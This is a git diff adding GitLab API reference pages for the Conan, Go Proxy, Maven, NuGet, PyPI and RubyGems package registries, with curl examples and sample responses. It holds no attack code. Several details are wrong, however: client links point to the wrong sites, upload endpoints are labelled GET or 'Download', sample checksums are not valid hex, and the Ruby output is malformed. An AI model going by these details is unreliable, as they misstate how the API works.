`recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. | +| `file_name` | string | yes | The name and file extension of the requested file. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py" +``` + +You can also write the output to a file by using: + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py" >> conanfile.py +``` + +This example writes to `conanfile.py` in the current directory. + +## Upload a Recipe file + +> Introduced in GitLab 12.6. + +Upload a recipe file to the package registry. You must use an upload URL that the +[recipe upload URLs endpoint](#recipe-upload-urls) +returned. + +```shell +GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/export/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| `recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. | +| `file_name` | string | yes | The name and file extension of the requested file. | + +Provide the file context in the request body: + +```shell +curl --header "Authorization: Bearer <authenticate_token>" \ + --upload-file path/to/conanfile.py \ + "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/0/export/conanfile.py" +``` + +## Download a Package file + +> Introduced in GitLab 12.6. + +Download a package file to the package registry. You must use a download URL that the +[package download URLs endpoint](#package-download-urls) +returned. + +```shell +GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/package/:conan_package_reference/:package_revision/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| `recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. | +| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. | +| `package_revision` | string | yes | Revision of the package. GitLab does not yet support Conan revisions, so the default value of `0` is always used. | +| `file_name` | string | yes | The name and file extension of the requested file. | + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt" +``` + +You can also write the output to a file by using: + +```shell +curl --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt" >> conaninfo.txt +``` + +This example writes to `conaninfo.txt` in the current directory. + +## Upload a Package file + +> Introduced in GitLab 12.6. + +Upload a package file to the package registry. You must use an upload URL that the +[package upload URLs endpoint](#package-upload-urls) +returned. + +```shell +GET packages/conan/v1/files/:package_name/:package_version/:package_username/:package_channel/:recipe_revision/package/:conan_package_reference/:package_revision/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | +| `recipe_revision` | string | yes | Revision of the recipe. GitLab does not yet support Conan revisions, so the default value of `0` is always used. | +| `conan_package_reference` | string | yes | Reference hash of a Conan package. Conan generates this value. | +| `package_revision` | string | yes | Revision of the package. GitLab does not yet support Conan revisions, so the default value of `0` is always used. | +| `file_name` | string | yes | The name and file extension of the requested file. | + +Provide the file context in the request body: + +```shell +curl --header "Authorization: Bearer <authenticate_token>" \ + --upload-file path/to/conaninfo.txt \ + "https://gitlab.example.com/api/v4/packages/conan/v1/files/my-package/1.0/my-group+my-project/stable/packages/103f6067a947f366ef91fc1b7da351c588d1827f/0/conaninfo.txt" +``` + +## Delete a Package (delete a Conan recipe) + +> Introduced in GitLab 12.5. + +Delete the Conan recipe and package files from the registry: + +```plaintext +DELETE <route-prefix>/conans/:package_name/:package_version/:package_username/:package_channel +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `package_name` | string | yes | Name of a package. | +| `package_version` | string | yes | Version of a package. | +| `package_username` | string | yes | Conan username of a package. This is the `+`-separated full path of your project. | +| `package_channel` | string | yes | Channel of a package. | + +```shell +curl --request DELETE --header "Authorization: Bearer <authenticate_token>" "https://gitlab.example.com/api/v4/packages/conan/v1/conans/my-package/1.0/my-group+my-project/stable" +``` + +Example response: + +```json +{ + "id": 1, + "project_id": 123, + "created_at": "2020-08-19T13:17:28.655Z", + "updated_at": "2020-08-19T13:17:28.655Z", + "name": "my-package", + "version": "1.0", + "package_type": "conan", + "creator_id": null, + "status": "default" +} +``` diff --git a/doc/api/packages/go_proxy.md b/doc/api/packages/go_proxy.md new file mode 100644 index 00000000000..2f81435db42 --- /dev/null +++ b/doc/api/packages/go_proxy.md @@ -0,0 +1,133 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Go Proxy API + +This is the API documentation for [Go Packages](../../user/packages/go_proxy/index.md). +This API is behind a feature flag that is disabled by default. GitLab administrators with access to +the GitLab Rails console can [enable](../../administration/feature_flags.md) +this API for your GitLab instance. + +WARNING: +This API is used by the [Go client](https://maven.apache.org/) +and is generally not meant for manual consumption. + +For instructions on how to work with the Go Proxy, see the [Go Proxy package documentation](../../user/packages/go_proxy/index.md). + +NOTE: +These endpoints do not adhere to the standard API authentication methods. +See the [Go Proxy package documentation](../../user/packages/go_proxy/index.md) +for details on which headers and token types are supported. + +## List + +> Introduced in GitLab 13.1. + +Get all tagged versions for a given Go module: + +```plaintext +GET projects/:id/packages/go/:module_name/@v/list +``` + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `id` | string | yes | The project ID or full path of a project. | +| `module_name` | string | yes | The name of the Go module. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/list" +``` + +Example output: + +```shell +"v1.0.0\nv1.0.1\nv1.3.8\n2.0.0\n2.1.0\n3.0.0" +``` + +## Version metadata + +> Introduced in GitLab 13.1. + +Get all tagged versions for a given Go module: + +```plaintext +GET projects/:id/packages/go/:module_name/@v/:module_version.info +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `id` | string | yes | The project ID or full path of a project. | +| `module_name` | string | yes | The name of the Go module. | +| `module_version` | string | yes | The version of the Go module. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.info" +``` + +Example output: + +```json +{ + "Version": "v1.0.0", + "Time": "1617822312 -0600" +} +``` + +## Download module file + +> Introduced in GitLab 13.1. + +Fetch the `.mod` module file: + +```plaintext +GET projects/:id/packages/go/:module_name/@v/:module_version.mod +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `id` | string | yes | The project ID or full path of a project. | +| `module_name` | string | yes | The name of the Go module. | +| `module_version` | string | yes | The version of the Go module. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.mod" +``` + +Write to a file: + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.mod" >> foo.mod +``` + +This writes to `foo.mod` in the current directory. + +## Download module source + +> Introduced in GitLab 13.1. + +Fetch the `.zip` of the module source: + +```plaintext +GET projects/:id/packages/go/:module_name/@v/:module_version.zip +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `id` | string | yes | The project ID or full path of a project. | +| `module_name` | string | yes | The name of the Go module. | +| `module_version` | string | yes | The version of the Go module. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.zip" +``` + +Write to a file: + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/go/my-go-module/@v/1.0.0.zip" >> foo.zip +``` + +This writes to `foo.zip` in the current directory. diff --git a/doc/api/packages/maven.md b/doc/api/packages/maven.md new file mode 100644 index 00000000000..d03c9be3060 --- /dev/null +++ b/doc/api/packages/maven.md @@ -0,0 +1,124 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Maven API + +This is the API documentation for [Maven Packages](../../user/packages/maven_repository/index.md). + +WARNING: +This API is used by the [Maven package manager client](https://maven.apache.org/) +and is generally not meant for manual consumption. + +For instructions on how to upload and install Maven packages from the GitLab +package registry, see the [Maven package registry documentation](../../user/packages/maven_repository/index.md). + +NOTE: +These endpoints do not adhere to the standard API authentication methods. +See [Maven package registry documentation](../../user/packages/maven_repository/index.md) +for details on which headers and token types are supported. + +## Download a package file at the instance-level + +> Introduced in GitLab 11.6. + +Download a Maven package file: + +```plaintext +GET packages/maven/*path/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. | +| `file_name` | string | yes | The name of the Maven package file. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" +``` + +To write the output to file: + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" >> mypkg-1.0-SNAPSHOT.jar +``` + +This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory. + +## Download a package file at the group-level + +> Introduced in GitLab 11.7. + +Download a Maven package file: + +```plaintext +GET groups/:id/-/packages/maven/*path/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. | +| `file_name` | string | yes | The name of the Maven package file. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/groups/1/-/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" +``` + +To write the output to file: + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/groups/1/-/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" >> mypkg-1.0-SNAPSHOT.jar +``` + +This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory. + +## Download a package file at the project-level + +> Introduced in GitLab 11.3. + +Download a Maven package file: + +```plaintext +GET projects/:id/packages/maven/*path/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. | +| `file_name` | string | yes | The name of the Maven package file. | + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" +``` + +To write the output to file: + +```shell +curl --header "Private-Token: <personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.jar" >> mypkg-1.0-SNAPSHOT.jar +``` + +This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory. + +## Upload a package file + +> Introduced in GitLab 11.3. + +Upload a Maven package file: + +```plaintext +PUT projects/:id/packages/maven/*path/:file_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `path` | string | yes | The Maven package path, in the format `<groupId>/<artifactId>/<version>`. Replace any `.` in the `groupId` with `/`. | +| `file_name` | string | yes | The name of the Maven package file. | + +```shell +curl --request PUT \ + --upload-file path/to/mypkg-1.0-SNAPSHOT.pom \ + --header "Private-Token: <personal_access_token>" \ + "https://gitlab.example.com/api/v4/projects/1/packages/maven/foo/bar/baz/mypkg-1.0-SNAPSHOT.pom" +``` diff --git a/doc/api/packages/nuget.md b/doc/api/packages/nuget.md new file mode 100644 index 00000000000..ed61704770b --- /dev/null +++ b/doc/api/packages/nuget.md @@ -0,0 +1,338 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about..example/handbook/engineering/ux/technical-writing/#assignments +--- + +# NuGet API + +This is the API documentation for [NuGet Packages](../../user/packages/nuget_repository/index.md). + +WARNING: +This API is used by the [NuGet package manager client](https://www.nuget.org/) +and is generally not meant for manual consumption. + +For instructions on how to upload and install NuGet packages from the GitLab +package registry, see the [NuGet package registry documentation](../../user/packages/nuget_repository/index.md). + +NOTE: +These endpoints do not adhere to the standard API authentication methods. +See the [NuGet package registry documentation](../../user/packages/nuget_repository/index.md) +for details on which headers and token types are supported. + +## Package index + +> Introduced in GitLab 12.8. + +Returns the index for a given package, which includes a list of available versions: + +```plaintext +GET projects/:id/packages/nuget/download/:package_name/index +``` + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | +| `package_name` | string | yes | The name of the package. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/index" +``` + +Example response: + +```json +{ + "versions": [ + "1.3.0.17" + ] +} +``` + +## Download a package file + +> Introduced in GitLab 12.8. + +Download a NuGet package file. The [metadata service](#metadata-service) provides this URL. + +```plaintext +GET projects/:id/packages/nuget/download/:package_name/:package_version/:package_filename +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | +| `package_name` | string | yes | The name of the package. | +| `package_version` | string | yes | The version of the package. | +| `package_filename`| string | yes | The name of the file. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/mynugetpkg.1.3.0.17.nupkg" +``` + +Write the output to a file: + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/mynugetpkg.1.3.0.17.nupkg" >> MyNuGetPkg.1.3.0.17.nupkg +``` + +This writes the downloaded file to `MyNuGetPkg.1.3.0.17.nupkg` in the current directory. + +## Upload a package file + +> Introduced in GitLab 12.8. + +Download a NuGet package file: + +```plaintext +PUT projects/:id/packages/nuget +``` + +| Attribute | Type | Required | Description | +| ----------------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | +| `package_name` | string | yes | The name of the package. | +| `package_version` | string | yes | The version of the package. | +| `package_filename`| string | yes | The name of the file. | + +```shell +curl --request PUT \ + --upload-file path/to/mynugetpkg.1.3.0.17.nupkg \ + --user <username>:<personal_access_token> \ + "https://gitlab.example.com/api/v4/projects/1/packages/nuget" +``` + +## Route prefix + +For the remaining routes, there are two sets of identical routes that each make requests in +different scopes: + +- Use the group-level prefix to make requests in a group's scope. +- Use the project-level prefix to make requests in a single project's scope. + +The examples in this document all use the project-level prefix. + +### Group-level + +```plaintext + /groups/:id/-/packages/nuget` +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | ----------- | +| `id` | string | yes | The group ID or full group path. | + +### Project-level + +```plaintext + /projects/:id/packages/nuget` +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | ----------- | +| `id` | string | yes | The project ID or full project path. | + +## Service Index + +> Introduced in GitLab 12.6. + +Returns a list of available API resources: + +```plaintext +GET <route-prefix>/index +``` + +Example Request: + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/index" +``` + +Example response: + +```json +{ + "version": "3.0.0", + "resources": [ + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query", + "@type": "SearchQueryService", + "comment": "Filter and search for packages by keyword." + }, + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query", + "@type": "SearchQueryService/3.0.0-beta", + "comment": "Filter and search for packages by keyword." + }, + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query", + "@type": "SearchQueryService/3.0.0-rc", + "comment": "Filter and search for packages by keyword." + }, + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata", + "@type": "RegistrationsBaseUrl", + "comment": "Get package metadata." + }, + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata", + "@type": "RegistrationsBaseUrl/3.0.0-beta", + "comment": "Get package metadata." + }, + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata", + "@type": "RegistrationsBaseUrl/3.0.0-rc", + "comment": "Get package metadata." + }, + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download", + "@type": "PackageBaseAddress/3.0.0", + "comment": "Get package content (.nupkg)." + }, + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget", + "@type": "PackagePublish/2.0.0", + "comment": "Push and delete (or unlist) packages." + } + ] +} +``` + +The URLs in the response have the same route prefix used to request them. If you request them with +the group-level route, the returned URLs contain `/groups/:id/-`. + +## Metadata Service + +> Introduced in GitLab 12.8. + +Returns metadata for a package: + +```plaintext +GET <route-prefix>/metadata/:package_name/index +``` + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `package_name` | string | yes | The name of the package. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/index" +``` + +Example response: + +```json +{ + "count": 1, + "items": [ + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json", + "lower": "1.3.0.17", + "upper": "1.3.0.17", + "count": 1, + "items": [ + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json", + "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg", + "catalogEntry": { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json", + "authors": "", + "dependencyGroups": [], + "id": "MyNuGetPkg", + "version": "1.3.0.17", + "tags": "", + "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg", + "summary": "" + } + } + ] + } + ] +} +``` + +## Version Metadata Service + +> Introduced in GitLab 12.8. + +Returns metadata for a specific package version: + +```plaintext +GET <route-prefix>/metadata/:package_name/index +``` + +| Attribute | Type | Required | Description | +| -------------- | ------ | -------- | ----------- | +| `package_name` | string | yes | The name of the package. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17" +``` + +Example response: + +```json +{ + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json", + "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg", + "catalogEntry": { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json", + "authors": "", + "dependencyGroups": [], + "id": "MyNuGetPkg", + "version": "1.3.0.17", + "tags": "", + "packageContent": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/download/MyNuGetPkg/1.3.0.17/helloworld.1.3.0.17.nupkg", + "summary": "" + } +} +``` + +## Search Service + +> Introduced in GitLab 12.8. + +Given a query, search for NuGet packages in the repository: + +```plaintext +GET <route-prefix>/query +``` + +| Attribute | Type | Required | Description | +| ------------ | ------- | -------- | ----------- | +| `q` | string | yes | The search query. | +| `skip` | integer | no | The number of results to skip. | +| `take` | integer | no | The number of results to return. | +| `prerelease` | boolean | no | Include prerelease versions. Defaults to `true` if no value is supplied. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/nuget/query?q=MyNuGet" +``` + +Example response: + +```json +{ + "totalHits": 1, + "data": [ + { + "@type": "Package", + "authors": "", + "id": "MyNuGetPkg", + "title": "MyNuGetPkg", + "summary": "", + "totalDownloads": 0, + "verified": true, + "version": "1.3.0.17", + "versions": [ + { + "@id": "https://gitlab.example.com/api/v4/projects/1/packages/nuget/metadata/MyNuGetPkg/1.3.0.17.json", + "version": "1.3.0.17", + "downloads": 0 + } + ], + "tags": "" + } + ] +} +``` diff --git a/doc/api/packages/pypi.md b/doc/api/packages/pypi.md new file mode 100644 index 00000000000..531193e59e2 --- /dev/null +++ b/doc/api/packages/pypi.md @@ -0,0 +1,113 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# PyPI API + +This is the API documentation for [PyPI Packages](../../user/packages/pypi_repository/index.md). + +WARNING: +This API is used by the [PyPI package manager client](https://pypi.apache.org/) +and is generally not meant for manual consumption. + +For instructions on how to upload and install PyPI packages from the GitLab +package registry, see the [PyPI package registry documentation](../../user/packages/pypi_repository/index.md). + +NOTE: +These endpoints do not adhere to the standard API authentication methods. +See the [PyPI package registry documentation](../../user/packages/pypi_repository/index.md) +for details on which headers and token types are supported. + +## Download a package file + +> Introduced in GitLab 12.10. + +Download a PyPI package file. The [simple API](#simple-api-entry-point) +normally supplies this URL. + +```plaintext +GET projects/:id/packages/pypi/files/:sha256/:file_identifier +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | +| `sha256` | string | yes | PyPI package file sha256 check sum. | +| `file_identifier` | string | yes | The PyPI package file name. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz" +``` + +To write the output to a file: + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1.tar.gz" >> my.pypi.package-0.0.1.tar.gz +``` + +This writes the downloaded file to `my.pypi.package-0.0.1.tar.gz` in the current directory. + +## Simple API entry point + +> Introduced in GitLab 12.10. + +Returns the package descriptor as an HTML file: + +```plaintext +GET projects/:id/packages/pypi/simple/:package_name +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | +| `package_name` | string | yes | The name of the package. | + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/simple/my.pypi.package" +``` + +Example response: + +```html +<!DOCTYPE html> +<html> + <head> + <title>Links for my.pypi.package</title> + </head> + <body> + <h1>Links for my.pypi.package</h1> + <a href="https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff/my.pypi.package-0.0.1-py3-none-any.whl#sha256=5y57017232013c8ac80647f4ca153k3726f6cba62d055cd747844ed95b3c65ff" data-requires-python=">=3.6">my.pypi.package-0.0.1-py3-none-any.whl</a><br><a href="https://gitlab.example.com/api/v4/projects/1/packages/pypi/files/9s9w01b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2/my.pypi.package-0.0.1.tar.gz#sha256=9s9w011b0bcd52b709ec052084e33a5517ffca96f7728ddd9f8866a30cdf76f2" data-requires-python=">=3.6">my.pypi.package-0.0.1.tar.gz</a><br> + </body> +</html> +``` + +To write the output to a file: + +```shell +curl --user <username>:<personal_access_token> "https://gitlab.example.com/api/v4/projects/1/packages/pypi/simple/my.pypi.package" >> simple.html +``` + +This writes the downloaded file to `simple.html` in the current directory. + +## Upload a package + +> Introduced in GitLab 11.3. + +Upload a PyPI package: + +```plaintext +PUT projects/:id/packages/pypi +``` + +| Attribute | Type | Required | Description | +| --------- | ---- | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | + +```shell +curl --request PUT \ + --upload-file path/to/my.pypi.package-0.0.1.tar.gz \ + --user <username>:<personal_access_token> \ + "https://gitlab.example.com/api/v4/projects/1/packages/pypi" +``` diff --git a/doc/api/packages/rubygems.md b/doc/api/packages/rubygems.md new file mode 100644 index 00000000000..426548d5ed2 --- /dev/null +++ b/doc/api/packages/rubygems.md @@ -0,0 +1,149 @@ +--- +stage: Package +group: Package +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Ruby gems API + +This is the API documentation for [Ruby gems](../../user/packages/rubygems_registry/index.md). + +WARNING: +This API is used by the [Ruby gems and Bundler package manager clients](https://maven.apache.org/) +and is generally not meant for manual consumption. This API is under development and is not ready +for production use due to limited functionality. + +For instructions on how to upload and install gems from the GitLab +package registry, see the [Ruby gems registry documentation](../../user/packages/rubygems_registry/index.md). + +NOTE: +These endpoints do not adhere to the standard API authentication methods. +See the [Ruby gems registry documentation](../../user/packages/rubygems_registry/index.md) +for details on which headers and token types are supported. + +## Enable the Ruby gems API + +The Ruby gems API for GitLab is behind a feature flag that is disabled by default. GitLab +administrators with access to the GitLab Rails console can enable this API for your instance. + +To enable it: + +```ruby +Feature.enable(:rubygem_packages) +``` + +To disable it: + +```ruby +Feature.disable(:rubygem_packages) +``` + +To enable or disable it for specific projects: + +```ruby +Feature.enable(:rubygem_packages, Project.find(1)) +Feature.disable(:rubygem_packages, Project.find(2)) +``` + +## Download a gem file + +> Introduced in GitLab 13.10. + +Download a gem: + +```plaintext +GET projects/:id/packages/rubygems/gems/:file_name +``` + +| Attribute | Type | Required | Description | +| ------------ | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | +| `file_name` | string | yes | The name of the `.gem` file. | + +```shell +curl --header "Authorization:<personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/gems/my_gem-1.0.0.gem" +``` + +Write the output to file: + +```shell +curl --header "Authorization:<personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/gems/my_gem-1.0.0.gem" >> my_gem-1.0.0.gem +``` + +This writes the downloaded file to `my_gem-1.0.0.gem` in the current directory. + +## Fetch a list of dependencies + +> Introduced in GitLab 13.10. + +Fetch a list of dependencies for a list of gems: + +```plaintext +GET projects/:id/packages/rubygems/api/v1/dependencies +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | +| `gems` | string | no | Comma-separated list of gems to fetch dependencies for. | + +```shell +curl --header "Authorization:<personal_access_token>" "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/api/v1/dependencies?gems=my_gem,foo" +``` + +This endpoint returns a marshalled array of hashes for all versions of the requested gems. Since the +response is marshalled, you can store it in a file. If Ruby is installed, you can use the following +Ruby command to read the response. For this to work, you must +[set your credentials in `~/.gem/credentials`](../../user/packages/rubygems_registry/index.md#authenticate-with-a-personal-access-token-or-deploy-token): + +```shell +$ ruby -ropen-uri -rpp -e \ + 'pp Marshal.load(open("https://gitlab.example.com/api/v4/projects/1/packages/rubygems/api/v1/dependencies?gems=my_gem,rails,foo"))' + +[{:name=>"my_gem", :number=>"0.0.1", :platform=>"ruby", :dependencies=>[]}, + {:name=>"my_gem", + :number=>"0.0.3", + :platform=>"ruby", + :dependencies=> + [["dependency_1", "~> 1.2.3"], + ["dependency_2", "= 3.0.0"], + ["dependency_3", ">= 1.0.0"], + ["dependency_4", ">= 0"]]}, + {:name=>"my_gem", + :number=>"0.0.2", + :platform=>"ruby", + :dependencies=> + [["dependency_1", "~> 1.2.3"], + ["dependency_2", "= 3.0.0"], + ["dependency_3", ">= 1.0.0"], + ["dependency_4", ">= 0"]]}, + {:name=>"foo", + :number=>"0.0.2", + :platform=>"ruby", + :dependencies=> + ["dependency_2", "= 3.0.0"], + ["dependency_4", ">= 0"]]}] +``` + +This writes the downloaded file to `mypkg-1.0-SNAPSHOT.jar` in the current directory. + +## Upload a gem + +> Introduced in GitLab 13.11. + +Upload a gem: + +```plaintext +POST projects/:id/packages/rubygems/api/v1/gems +``` + +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | ----------- | +| `id` | string | yes | The ID or full path of the project. | + +```shell +curl --request POST \ + --upload-file path/to/my_gem_file.gem \ + --header "Authorization:<personal_access_token>" \ + "https://gitlab.example.com/api/v4/projects/1/packages/rubygems/api/v1/gems" +``` diff --git a/doc/api/project_repository_storage_moves.md b/doc/api/project_repository_storage_moves.md index a7fe25d03cd..94aeb665c7f 100644 --- a/doc/api/project_repository_storage_moves.md +++ b/doc/api/project_repository_storage_moves.md @@ -10,7 +10,7 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31285) in GitLab 13.0. Project repositories including wiki and design repositories can be moved between storages. This can be useful when -[migrating to Gitaly 